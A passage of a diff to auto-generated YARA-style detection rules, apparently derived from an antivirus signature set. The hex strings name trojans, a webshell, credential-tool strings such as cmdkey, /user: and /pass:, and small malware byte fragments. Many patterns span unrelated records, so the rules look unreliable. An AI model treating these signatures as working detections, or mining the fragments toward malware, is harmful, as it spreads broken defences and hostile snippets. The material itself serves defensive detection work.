61 6c 6c 79 77 61 67 20 61 73 63 69 64 69 61 20 70 6f 69 6e 74 69 6c 6c 69 73 74 01 00 16 81 01 } //24936 + $a_67_2 = {6f 76 6e 69 6e 67 20 62 61 72 6b 61 72 6f 6c 65 6e 00 00 78 76 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 51 51 51 31 32 33 21 4d 54 42 00 01 00 19 81 01 6c 69 6e 6a 65 76 69 73 20 64 6f 6d 6d 65 72 65 73 20 70 61 75 6c 69 6e 73 01 00 11 81 01 68 61 6e 64 73 68 61 6b 65 20 65 74 61 74 65 6e } //28518 + condition: + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*24936+(#a_67_2 & 1)*28518) >=3 + +} +rule _InfrastructureShared_7890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -78473,7 +83008,7 @@ rule _InfrastructureShared_7463{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29295+(#a_20_2 & 1)*27489) >=3 } -rule _InfrastructureShared_7464{ +rule _InfrastructureShared_7891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -78485,7 +83020,7 @@ rule _InfrastructureShared_7464{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*385+(#a_69_2 & 1)*29728) >=3 } -rule _InfrastructureShared_7465{ +rule _InfrastructureShared_7892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -78497,7 +83032,7 @@ rule _InfrastructureShared_7465{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*26984+(#a_79_2 & 1)*28261) >=3 } -rule _InfrastructureShared_7466{ +rule _InfrastructureShared_7893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -78509,7 +83044,7 @@ rule _InfrastructureShared_7466{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*24937+(#a_61_2 & 1)*385) >=3 } -rule _InfrastructureShared_7467{ +rule _InfrastructureShared_7894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -78521,7 +83056,7 @@ rule _InfrastructureShared_7467{ ((#a_4c_0 & 1)*21539+(#a_54_1 & 1)*20307+(#a_6b_2 & 1)*26996) >=3 } -rule _InfrastructureShared_7468{ +rule _InfrastructureShared_7895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -78533,33 +83068,19 @@ rule _InfrastructureShared_7468{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28261+(#a_54_2 & 1)*21076) >=3 } -rule _InfrastructureShared_7469{ +rule _InfrastructureShared_7896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 6c 69 73 64 61 74 2e 67 65 6e 21 43 00 01 00 0c 00 6a 6d 70 51 5c 6f 70 6a 74 73 66 58 01 00 0b 00 73 76 44 5c 74 61 70 65 6f 6a 41 01 00 07 00 2f 2f 3a 71 75 75 69 02 00 1d 01 30 30 20 75 2d 20 67 2d } //18467 - $a_00_1 = {ff ff ff ff 08 00 00 00 6f 61 70 65 75 76 69 74 00 00 00 78 76 00 00 03 00 03 00 05 00 21 23 48 53 54 52 3a 45 44 6c 6c 4e 61 6d 65 43 } //29472 - $a_6e_2 = {03 00 07 81 01 55 73 75 61 72 69 6f 03 00 10 81 01 53 6f 66 74 77 6f 72 6b 73 2e 43 6f 6d 6d 6f 6e 03 00 0c 81 01 41 6d 61 7a 6f 6e 48 65 6c 70 65 72 03 00 11 81 01 54 44 53 2e 57 65 62 53 65 72 76 69 63 65 2e 45 2e 03 00 0c 81 01 43 6f 70 79 72 69 67 68 74 20 c2 a9 00 00 78 76 00 00 04 00 } //25964 - $a_00_3 = {21 } //4 ! + $a_00_1 = {ff ff ff ff 08 00 00 00 6f 61 70 65 75 76 69 74 00 00 00 78 76 00 00 04 00 04 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 } //29472 + $a_61_2 = {79 73 2e 50 4d 4d 48 21 4d 54 42 00 04 00 49 01 28 04 00 00 0a 72 01 00 00 70 28 05 00 00 0a 0a 06 72 0b 00 00 70 28 03 00 00 06 28 04 00 00 06 28 06 00 00 0a 06 20 03 01 00 00 28 07 00 00 0a 06 73 } //12108 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29472+(#a_6e_2 & 1)*25964+(#a_00_3 & 1)*4) >=3 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29472+(#a_61_2 & 1)*12108) >=3 } -rule _InfrastructureShared_7470{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " - - strings : - $a_54_0 = {3a 45 44 6c 6c 4e 61 6d 65 43 6c 65 61 6e 00 03 00 07 81 01 55 73 75 61 72 69 6f 03 00 10 81 01 53 6f 66 74 77 6f 72 6b 73 2e 43 6f 6d 6d 6f 6e 03 00 0c 81 01 41 6d 61 7a 6f 6e 48 65 6c 70 65 72 03 00 11 81 01 54 44 53 2e 57 65 62 53 65 72 76 69 63 } //18467 - $a_2e_1 = {00 0c 81 01 43 6f 70 79 72 69 67 68 74 20 c2 a9 00 00 78 76 00 00 04 00 04 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 61 72 79 73 2e 50 4d 4d 48 21 4d 54 42 00 04 00 49 01 28 04 00 00 } //11877 - $a_00_2 = {00 } //29194 - $a_00_3 = {00 0a 0a 06 72 } //10352 - condition: - ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*11877+(#a_00_2 & 1)*29194+(#a_00_3 & 1)*10352) >=3 - -} -rule _InfrastructureShared_7471{ +rule _InfrastructureShared_7897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " @@ -78569,7 +83090,7 @@ rule _InfrastructureShared_7471{ ((#a_46_0 & 1)*16675) >=4 } -rule _InfrastructureShared_7472{ +rule _InfrastructureShared_7898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -78582,33 +83103,45 @@ rule _InfrastructureShared_7472{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3584+(#a_80_2 & 1)*1+(#a_76_3 & 1)*0) >=4 } -rule _InfrastructureShared_7473{ +rule _InfrastructureShared_7899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 69 6e 79 2e 53 56 21 4d 54 42 00 01 00 0d 80 01 73 79 73 74 65 6d 63 74 6c 2e 70 64 62 01 00 11 80 01 54 65 73 74 2e 4c 61 75 6e 63 68 65 72 2e 70 64 62 01 00 11 80 01 54 65 73 74 2e 4c 61 } //16675 $a_68_1 = {72 2e 65 78 65 01 00 0d 80 01 73 79 73 74 65 6d 63 74 6c 2e 65 78 65 00 00 78 76 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 6e 65 61 6b 79 53 68 61 72 65 2e 42 21 64 68 61 00 01 00 0a 01 63 6d 64 6b 65 79 2e 65 78 65 01 00 23 00 73 79 73 61 64 64 63 6d 6b } //28277 - $a_74_2 = {72 65 6d 69 63 72 6f 73 6f 66 74 72 65 6e 69 76 61 74 69 6f 6e 01 00 06 01 2f 70 61 73 73 3a 01 00 06 01 2f 75 73 65 72 3a 00 00 78 76 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 47 65 6e 65 72 61 6c 50 61 63 6b 65 72 2e 53 30 39 00 01 00 0e 01 43 6f 6d 70 72 65 73 73 53 68 65 6c 6c 00 01 00 0b 01 44 65 } //31077 - $a_70_3 = {41 73 6d 00 01 00 11 01 44 65 63 6f 64 65 44 69 72 65 63 74 42 69 74 73 00 01 00 0e 01 52 65 76 65 72 73 65 44 65 63 6f 64 65 00 00 00 78 76 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 53 53 58 31 32 33 21 4d 54 42 00 01 00 09 81 01 67 69 74 61 6e 65 6d 75 6b 01 00 16 81 01 67 68 61 6e 61 69 61 6e 20 66 61 63 74 } //29283 + $a_74_2 = {72 65 6d 69 63 72 6f 73 6f 66 74 72 65 6e 69 76 61 74 69 6f 6e 01 00 06 01 2f 70 61 73 73 3a 01 00 06 01 2f 75 73 65 72 3a 00 00 78 76 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 53 75 73 70 44 4c 4c 45 78 70 6f 72 74 73 2e 41 00 01 00 0e 01 00 43 72 65 61 74 65 54 68 72 65 61 64 00 01 00 0e 01 00 56 69 72 74 75 61 6c 41 6c 6c } //31077 condition: - ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*28277+(#a_74_2 & 1)*31077+(#a_70_3 & 1)*29283) >=4 + ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*28277+(#a_74_2 & 1)*31077) >=4 } -rule _InfrastructureShared_7474{ +rule _InfrastructureShared_7900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 6e 65 61 6b 79 53 68 61 72 65 2e 42 21 64 68 61 00 01 00 0a 01 63 6d 64 6b 65 79 2e 65 78 65 01 00 23 00 73 79 73 61 64 64 63 6d 6b 65 79 73 74 6f 72 65 6d 69 63 72 6f 73 6f 66 74 72 65 } //16675 - $a_61_1 = {69 6f 6e 01 00 06 01 2f 70 61 73 73 3a 01 00 06 01 2f 75 73 65 72 3a 00 00 78 76 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 47 65 6e 65 72 61 6c 50 61 63 6b 65 72 2e 53 30 39 00 01 00 0e 01 43 6f 6d 70 72 65 73 73 53 68 65 6c 6c 00 01 00 0b 01 44 65 63 72 79 70 74 41 73 6d 00 01 00 11 01 44 65 63 6f 64 65 44 69 } //26990 - $a_74_2 = {69 74 73 00 01 00 0e 01 52 65 76 65 72 73 65 44 65 63 6f 64 65 00 00 00 78 76 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 53 53 58 31 32 33 21 4d 54 42 00 01 00 09 81 01 67 69 74 61 6e 65 6d 75 6b 01 00 16 81 01 67 68 61 6e 61 69 61 6e 20 66 61 63 } //25970 - $a_69_3 = {6c 2e 65 78 65 01 00 0b 81 01 65 63 74 6f 70 72 6f 63 74 61 6e 01 00 0e 81 01 67 61 7a 69 6e 67 20 6d 65 73 74 69 6e 6f 00 00 78 76 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 54 52 42 31 32 33 21 4d 54 42 00 01 00 08 81 01 6d 75 6c 69 65 72 74 79 01 00 09 81 01 73 6c 79 6e 67 67 72 65 62 01 00 17 } //26996 + $a_61_1 = {69 6f 6e 01 00 06 01 2f 70 61 73 73 3a 01 00 06 01 2f 75 73 65 72 3a 00 00 78 76 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 53 75 73 70 44 4c 4c 45 78 70 6f 72 74 73 2e 41 00 01 00 0e 01 00 43 72 65 61 74 65 54 68 72 65 61 64 00 01 00 0e 01 00 56 69 72 74 75 61 6c 41 6c 6c 6f 63 00 01 00 10 01 00 56 69 72 74 75 61 6c 50 72 6f 74 65 63 } //26990 + $a_00_2 = {15 } //116 + $a_61_3 = {74 46 6f 72 53 69 6e 67 6c 65 4f 62 6a 65 63 74 00 00 00 78 76 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 47 65 6e 65 72 61 6c 50 61 63 6b 65 72 2e 53 30 39 00 01 00 0e 01 43 6f 6d 70 72 65 73 73 53 68 65 6c 6c 00 01 00 } //1 condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*26990+(#a_74_2 & 1)*25970+(#a_69_3 & 1)*26996) >=4 + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*26990+(#a_00_2 & 1)*116+(#a_61_3 & 1)*1) >=4 } -rule _InfrastructureShared_7475{ +rule _InfrastructureShared_7901{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 53 75 73 70 44 4c 4c 45 78 70 6f 72 74 73 2e 41 00 01 00 0e 01 00 43 72 65 61 74 65 54 68 72 65 61 64 00 01 00 0e 01 00 56 69 72 74 75 61 6c 41 6c 6c 6f 63 00 01 00 10 01 00 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 01 00 15 01 } //18467 + $a_69_1 = {46 6f 72 53 69 6e 67 6c 65 4f 62 6a 65 63 74 00 00 00 78 76 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 47 65 6e 65 72 61 6c 50 61 63 6b 65 72 2e 53 30 39 00 01 00 0e 01 43 6f 6d 70 72 65 73 73 53 68 65 6c 6c 00 01 00 0b 01 44 65 63 72 79 70 74 41 73 } //22272 + $a_00_2 = {11 } //109 + $a_63_3 = {64 65 44 69 72 65 63 74 42 69 74 73 00 01 00 0e 01 52 65 76 65 72 73 65 44 65 63 6f 64 65 00 00 00 78 76 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 53 53 58 31 32 33 21 4d 54 42 00 01 00 09 81 01 67 69 74 61 6e 65 6d 75 6b 01 00 16 81 01 67 68 61 6e 61 } //17409 + condition: + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*22272+(#a_00_2 & 1)*109+(#a_63_3 & 1)*17409) >=4 + +} +rule _InfrastructureShared_7902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -78620,7 +83153,7 @@ rule _InfrastructureShared_7475{ ((#a_54_0 & 1)*18467+(#a_52_2 & 1)*3584+(#a_65_3 & 1)*29285) >=4 } -rule _InfrastructureShared_7476{ +rule _InfrastructureShared_7903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -78633,7 +83166,7 @@ rule _InfrastructureShared_7476{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28257+(#a_61_2 & 1)*385+(#a_20_3 & 1)*25966) >=4 } -rule _InfrastructureShared_7477{ +rule _InfrastructureShared_7904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -78645,7 +83178,7 @@ rule _InfrastructureShared_7477{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_76_2 & 1)*0) >=4 } -rule _InfrastructureShared_7478{ +rule _InfrastructureShared_7905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -78653,59 +83186,38 @@ rule _InfrastructureShared_7478{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 43 47 30 31 21 4d 54 42 00 01 00 14 81 01 68 61 62 69 6c 69 74 65 72 65 74 20 6f 70 65 6e 68 65 61 64 01 00 0f 81 01 61 66 66 69 6c 69 65 72 69 6e 67 65 72 6e 65 01 00 0a 81 01 66 6c 65 72 74 79 } //18467 $a_65_1 = {00 0c 81 01 61 62 64 69 63 65 72 65 2e 65 78 65 00 00 78 76 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 69 6c 6c 50 72 6f 63 2e 53 4c 21 4d 54 42 00 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 07 01 50 72 6f 63 65 73 73 01 00 11 01 47 65 74 43 75 72 72 } //26980 $a_50_2 = {6f 63 65 73 73 01 00 15 01 53 68 75 74 75 70 5f 41 6e 64 5f 46 75 63 6b 6f 66 2e 64 6c 6c 00 00 78 76 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 57 69 6e 33 32 2f 51 41 53 70 79 2e 32 00 01 00 09 01 6e 65 74 73 70 79 5f 71 71 01 00 0a 01 6e 65 74 73 70 79 5f 6d 73 6e 01 00 0a 01 6e 65 74 73 70 79 5f } //28261 - $a_01_3 = {00 0f 01 72 75 6e 20 6e 65 74 73 70 79 5f 6d 61 69 6c 01 00 0a 01 5c 70 69 63 74 70 2e 6a 70 67 00 00 78 76 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 57 65 62 73 68 65 6c 6c 2e 45 41 47 4b 21 4d 54 42 00 05 00 46 01 00 73 36 00 00 0a 13 0d 73 be 00 00 0a 13 0a 11 0d 09 11 08 6f b9 00 00 0a 6f 4b 00 } //29798 + $a_01_3 = {00 0f 01 72 75 6e 20 6e 65 74 73 70 79 5f 6d 61 69 6c 01 00 0a 01 5c 70 69 63 74 70 2e 6a 70 67 00 00 78 76 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 63 61 70 2e 4e 52 21 4d 54 42 00 03 00 1f 01 72 0b 04 00 70 80 15 00 00 04 02 7b 13 00 00 04 72 51 04 00 70 7e 15 00 00 04 6f 5c 00 00 0a 02 } //29798 condition: ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26980+(#a_50_2 & 1)*28261+(#a_01_3 & 1)*29798) >=4 } -rule _InfrastructureShared_7479{ +rule _InfrastructureShared_7906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4b 69 6c 6c 50 72 6f 63 2e 53 4c 21 4d 54 42 00 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 07 01 50 72 6f 63 65 73 73 01 00 11 01 47 65 74 43 75 72 72 } //21539 $a_50_1 = {6f 63 65 73 73 01 00 15 01 53 68 75 74 75 70 5f 41 6e 64 5f 46 75 63 6b 6f 66 2e 64 6c 6c 00 00 78 76 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 57 69 6e 33 32 2f 51 41 53 70 79 2e 32 00 01 00 09 01 6e 65 74 73 70 79 5f 71 71 01 00 0a 01 6e 65 74 73 70 79 5f 6d 73 6e 01 00 0a 01 6e 65 74 73 70 79 5f } //28261 - $a_01_2 = {00 0f 01 72 75 6e 20 6e 65 74 73 70 79 5f 6d 61 69 6c 01 00 0a 01 5c 70 69 63 74 70 2e 6a 70 67 00 00 78 76 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 57 65 62 73 68 65 6c 6c 2e 45 41 47 4b 21 4d 54 42 00 05 00 46 01 00 73 36 00 00 0a 13 0d 73 be 00 00 0a 13 0a 11 0d 09 11 08 6f b9 00 00 0a 6f 4b 00 } //29798 - $a_2f_3 = {00 0a 00 11 0c 6f 30 00 00 0a 11 0d 6f 31 00 00 0a 26 00 11 08 17 58 13 08 11 08 11 06 fe 04 13 0f 11 0f 2d ba 00 00 78 76 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 50 47 4c 46 21 4d 54 42 00 05 00 47 03 34 01 24 00 41 80 e4 90 01 01 45 08 ef 44 08 e0 41 30 c7 41 80 f7 90 } //2560 + $a_01_2 = {00 0f 01 72 75 6e 20 6e 65 74 73 70 79 5f 6d 61 69 6c 01 00 0a 01 5c 70 69 63 74 70 2e 6a 70 67 00 00 78 76 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 63 61 70 2e 4e 52 21 4d 54 42 00 03 00 1f 01 72 0b 04 00 70 80 15 00 00 04 02 7b 13 00 00 04 72 51 04 00 70 7e 15 00 00 04 6f 5c 00 00 0a 02 } //29798 + $a_11_3 = {70 28 90 } //9984 condition: - ((#a_4c_0 & 1)*21539+(#a_50_1 & 1)*28261+(#a_01_2 & 1)*29798+(#a_2f_3 & 1)*2560) >=4 + ((#a_4c_0 & 1)*21539+(#a_50_1 & 1)*28261+(#a_01_2 & 1)*29798+(#a_11_3 & 1)*9984) >=4 } -rule _InfrastructureShared_7480{ +rule _InfrastructureShared_7907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_54_0 = {3a 4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 57 69 6e 33 32 2f 51 41 53 70 79 2e 32 00 01 00 09 01 6e 65 74 73 70 79 5f 71 71 01 00 0a 01 6e 65 74 73 70 79 5f 6d 73 6e 01 00 0a 01 6e 65 74 73 70 79 5f 66 74 70 01 00 0f 01 72 75 6e 20 6e 65 74 73 } //18467 - $a_6d_1 = {69 6c 01 00 0a 01 5c 70 69 63 74 70 2e 6a 70 67 00 00 78 76 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 57 65 62 73 68 65 6c 6c 2e 45 41 47 4b 21 4d 54 42 00 05 00 46 01 00 73 36 00 00 0a 13 0d 73 be 00 00 0a 13 0a 11 0d 09 11 08 6f b9 00 00 0a 6f 4b } //31088 - $a_6f_2 = {00 00 0a 00 11 0c 6f 30 00 00 } //0 - $a_6f_3 = {00 00 0a 26 00 11 08 17 58 13 08 11 08 } //4362 - $a_04_4 = {13 0f 11 0f 2d ba 00 00 78 76 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 50 47 4c 46 21 4d 54 42 00 05 00 47 03 34 01 24 00 41 80 e4 90 01 01 45 08 ef 44 08 e0 41 30 c7 41 80 f7 90 01 01 88 d8 44 30 f8 20 d8 41 88 ff 41 20 c7 40 30 c7 41 08 ff 40 88 f0 34 ff 24 01 44 88 f7 40 80 f7 90 01 01 41 88 f4 41 20 fc 45 88 f5 90 00 00 00 78 76 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 63 61 70 2e 4e 52 21 4d 54 42 00 03 00 1f 01 72 0b 04 00 70 80 15 00 00 04 02 7b 13 00 00 04 72 51 04 00 70 7e 15 00 00 04 6f 5c 00 00 0a 02 00 27 03 11 00 70 28 90 01 01 00 00 06 0a 06 72 90 01 01 05 00 70 28 90 01 01 00 00 0a 0b 07 2c 09 00 06 28 1b 00 00 0a 90 00 00 00 78 76 } //1553 + $a_6d_1 = {69 6c 01 00 0a 01 5c 70 69 63 74 70 2e 6a 70 67 00 00 78 76 00 00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 63 61 70 2e 4e 52 21 4d 54 42 00 03 00 1f 01 72 0b 04 00 70 80 15 00 00 04 02 7b 13 00 00 04 72 51 04 00 70 7e 15 00 00 04 6f 5c 00 00 0a } //31088 + $a_03_2 = {11 00 70 28 ?? 00 00 06 0a 06 72 ?? 05 00 70 28 ?? 00 00 0a 0b 07 2c 09 00 06 28 1b 00 00 0a } //2 + $a_76_3 = {00 05 00 05 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6d 74 79 2e 50 43 21 4d 54 42 00 04 00 38 02 f5 11 00 00 75 0e 6a 00 ff 15 90 01 04 8b 0d 90 01 04 69 c9 90 01 04 81 c1 90 01 04 8b c1 89 0d 90 01 04 c1 e8 10 30 04 90 01 02 3b 90 01 01 7c cb 90 09 02 00 81 90 00 01 00 0e 00 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*31088+(#a_6f_2 & 1)*0+(#a_6f_3 & 1)*4362+(#a_04_4 & 1)*1553) >=4 + ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*31088+(#a_03_2 & 1)*2+(#a_76_3 & 1)*0) >=4 } -rule _InfrastructureShared_7481{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 57 65 62 73 68 65 6c 6c 2e 45 41 47 4b 21 4d 54 42 00 05 00 46 01 00 73 36 00 00 0a 13 0d 73 be 00 00 0a 13 0a 11 0d 09 11 08 6f b9 00 00 0a 6f 4b 00 00 0a 6f 2f 00 00 0a 00 11 0c 6f 30 00 00 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=5 - -} -rule _InfrastructureShared_7482{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 50 47 4c 46 21 4d 54 42 00 05 00 47 03 34 01 24 00 41 80 e4 90 01 01 45 08 ef 44 08 e0 41 30 c7 41 80 f7 90 01 01 88 d8 44 30 f8 20 d8 41 88 ff 41 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=5 - -} -rule _InfrastructureShared_7483{ +rule _InfrastructureShared_7908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " @@ -78716,32 +83228,45 @@ rule _InfrastructureShared_7483{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29190) >=5 } -rule _InfrastructureShared_7484{ +rule _InfrastructureShared_7909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6d 74 79 2e 50 43 21 4d 54 42 00 04 00 38 02 f5 11 00 00 75 0e 6a 00 ff 15 90 01 04 8b 0d 90 01 04 69 c9 90 01 04 81 c1 90 01 04 8b c1 89 0d 90 01 04 c1 e8 10 30 04 90 01 02 3b 90 01 } //16675 - $a_90_1 = {02 00 81 90 00 01 00 0e 00 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 76 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 32 35 31 21 4d 54 42 00 01 00 09 81 01 41 58 58 56 43 53 56 46 00 01 00 0b 81 01 41 48 4e 55 46 48 43 4e 56 47 00 01 00 09 01 09 20 00 2c 01 00 fe 04 13 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 07 81 01 54 6f 57 69 6e 33 32 00 00 78 76 00 00 05 00 05 00 05 00 21 23 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 46 6c 61 72 65 36 2e 4d 21 69 62 74 00 01 00 0c 80 01 52 65 76 65 72 74 54 6f 53 65 } //31745 + $a_90_1 = {02 00 81 90 00 01 00 0e 00 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 76 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 57 32 35 31 21 4d 54 42 00 01 00 09 81 01 41 58 58 56 43 53 56 46 00 01 00 0b 81 01 41 48 4e 55 46 48 43 4e 56 47 00 01 00 09 01 09 20 00 2c 01 00 fe 04 13 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 07 81 01 54 6f 57 69 6e 33 32 00 00 78 76 00 00 05 00 05 00 05 00 21 23 4f 46 4e 3a 69 63 61 63 6c 73 2e 65 78 65 00 01 00 0b 01 69 63 61 63 6c 73 2e 70 64 62 00 01 00 0e 00 2f 00 47 00 72 00 61 00 6e 00 } //31745 condition: ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*31745) >=5 } -rule _InfrastructureShared_7485{ +rule _InfrastructureShared_7910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 